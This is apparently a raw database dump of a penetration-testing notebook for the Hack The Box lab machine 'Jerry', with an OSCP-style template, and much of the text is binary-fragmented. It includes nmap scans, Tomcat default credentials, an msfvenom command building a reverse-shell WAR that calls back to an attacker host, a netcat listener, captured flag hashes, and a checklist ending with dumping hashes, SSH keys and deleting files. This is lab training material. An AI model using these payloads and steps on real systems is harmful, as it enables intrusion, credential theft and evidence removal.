SQLite format 3 @ -
Y /C indexsqlite_autoindex_children_1children tableimageimageCREATE TABLE image (
node_id INTEGER,
offset INTEGER,
justification TEXT,
anchor TEXT,
png BLOB,
filename TEXT,
link TEXT,
time INTEGER
)
wtablegridgridCREATE TABLE grid (
node_id INTEGER,
offset INTEGER,
justification TEXT,
txt TEXT,
col_min INTEGER,
col_max INTEGER
)btablecodeboxcodeboxCREATE TABLE codebox (
node_id INTEGER,
offset INTEGER,
justification TEXT,
txt TEXT,
syntax TEXT,
width INTEGER,
height INTEGER,
is_width_pix INTEGER,
do_highl_bra INTEGER,
do_show_linenum INTEGER
)mtablenodenodeCREATE TABLE node (
node_id INTEGER UNIQUE,
name TEXT,
txt TEXT,
syntax TEXT,
tags TEXT,
is_ro INTEGER,
is_richtxt INTEGER,
has_codebox INTEGER,
has_table INTEGER,
has_image INTEGER,
level INTEGER,
ts_creation INTEGER,
ts_lastsave INTEGER
)'; indexsqlite_autoindex_node_1node k '
"CMScustom-colors$A[Y)A[Y}xn'
!WebDavcustom-colors$A[W;A[X2v)'
Dirb\DirBustercustom-colors$A?&xA[V1
m'
Niktocustom-colors$A?&oA?&l%'
Web Servicescustom-colors"A?&Nk'
UDPcustom-colors$A?&ЍA[?Lk'
TCPcustom-colors$A?&A[>CXk#'
Enumerationcustom-colors*A?&s.=ui '
10.x.x.xnmap -sC -sV -oA ./jerry 10.10.10.95
Starting Nmap 7.80 ( https://nmap.orgTomcat Default Credentials
tomcat:s3cret /manager/html
custom-colors"Aף%gFRv)'
Dirb\DirBustercustom-colors$A?&xA[V1
m'
Niktocustom-colors$A?&oA?& n%'
Web Servicescustom-colors"A?&Nk'
UDPcustom-colors$A?&ЍA[?Lk#'
Enumerationcustom-colors*A?&s.=u
n$L k '
"CMScustom-colors$A[Y)A[Y}xn'
!WebDavcustom-colors$A[W;A[X2l'
Othercustom-colorsA[EϯA[Tc i
'
DBcustom-colorsA[EA[Selk '
SNMPcustom-colorsA[DԢA[G!Bj '
SMBcustom-colorsA[PA[DNn
)'
Other Servicescustom-colorsXA[Ad
k k v)'
Script Resultscustom-colorsXAIZ|xAI %g'
ExploitationService Exploited:
Vulnerability Type:
Exploit POC:
Description:
Discovery of Vulnerability
WAR file upload
Exploit Code Used
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.XX.XX LPORT=9999 -f war > shell.war
nc -lvnp 9999
Proof\Local.txt File
☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel
custom-colors,Aף(UF
8 8# /]'
Running ProcessesProcess Listcustom-colors$AIwq&#w'
File Systemcustom-colorsXAIZ|xAIq/'
Post Exploitationcustom-colors*AIZnnZ-U'
Host InformationOperating System
Architecture
Domain
Installed Updates
custom-colors$A[4*
O O\ O
G'
NetworkIPConfig\IFConfig
Network Processes
ARP
DNS
Routecustom-colors$A[*܁p)'
Users & GroupsUsers
Groupscustom-colors$A[k׀.9q'
Installed ApplicationsInstalled Applicationscustom-colors$AILg
^ c+i'
Priv EscalationService Exploited:
Vulnerability Type:
Exploit POC:
Description:
Discovery of Vulnerability
NONE REQUIRED. WAR UPLOAD DROPS STRAIGHT TO NT AUTHORITY\SYSTEM
Exploit Code Used
Proof\Local.txt File
☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel
custom-colorsAף(_Gg'
Goodiescustom-colorsVA?& c )c'
Scheduled JobsScheduled Taskscustom-colors$ANl
- F /+'
Proof\Flags\Otheruser.txt
7004dbcef0f854e0fb401875f26ebd00
root.txt
04a8b36e1545a455393d067e772fe90e
custom-colors$Aף(D/( #i'
MethodologyNetwork Scanning
☐ nmap -sn 10.11.1.*
☐ nmap -sL 10.11.1.*
☐ nbtscan -r 10.11.1.0/24
☐ smbtree
Software Versions
Potential Exploitscustom-colorsANlH{xi '
Passwordscustom-colors$A?'!f'
Hashescustom-colors$A?&& ich_text>Individual Host Scanning
☐ nmap --top-ports 20 --open -iL iplist.txt
☐ nmap -sS -A -sV -O -p- ipaddress
☐ nmap -sU ipaddress
Service Scanning
WebApp
☐ Nikto
☐ dirb
☐ dirbuster
☐ wpscan
☐ dotdotpwn
☐ view source
☐ davtest\cadevar
☐ droopscan
☐ joomscan
☐ LFI\RFI Test
Linux\Windows
☐ snmpwalk -c public -v1 ipaddress 1
☐ smbclient -L //ipa ddress
☐ showmount -e ipaddress port
☐ rpcinfo
☐ Enum4Linux
Anything Else
☐ nmap scripts (locate *nse* | grep servicename)
☐ hydra
☐ MSF Aux Modules
☐ Download the softward
Exploitation
☐ Gather Version Numbes
☐ Searchsploit
☐ Default Creds
☐ Creds Previously Gathered
☐ Download the software
Post Exploitation
Linux
☐ linux-local-enum.sh
☐ linuxprivchecker.py
☐ linux-exploit-suggestor.sh
☐ unix-privesc-check.py
Windows
☐ wpc.exe
☐ windows-exploit-suggestor.py
☐ windows_privesc_check.py
☐ windows-privesc-check2.exe
Priv Escalation
☐ acesss internal services (portfwd)
☐ add account
Windows
☐ List of exploits
Linux
☐ sudo su
☐ KernelDB
☐ Searchsploit
Final
☐ Screenshot of IPConfig\WhoamI
☐ Copy proof.txt
☐ Dump hashes
☐ Dump SSH Keys
☐ Delete filescustom-colorsANl< A[ڸ.,
t!3'
10.10.10.95 - Jerrycustom-colorsAף#Nh '
Log Bookcustom-colors(AI^ ch_text> ) at 2020-04-07 10:37 EDT
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.28 seconds
nmap -sC -sV -Pn -oA ./jerry 10.10.10.95
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-07 10:37 EDT
Nmap scan report for 10.10.10.95
Host is up (0.070s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.08 secondscustom-colors$A?&Aף%D
5 5 /]'
Running ProcessesProcess Listcustom-colors$AIwq&#w'
File SystemWriteable Files\Directories
Directory List
custom-colors$A[3Q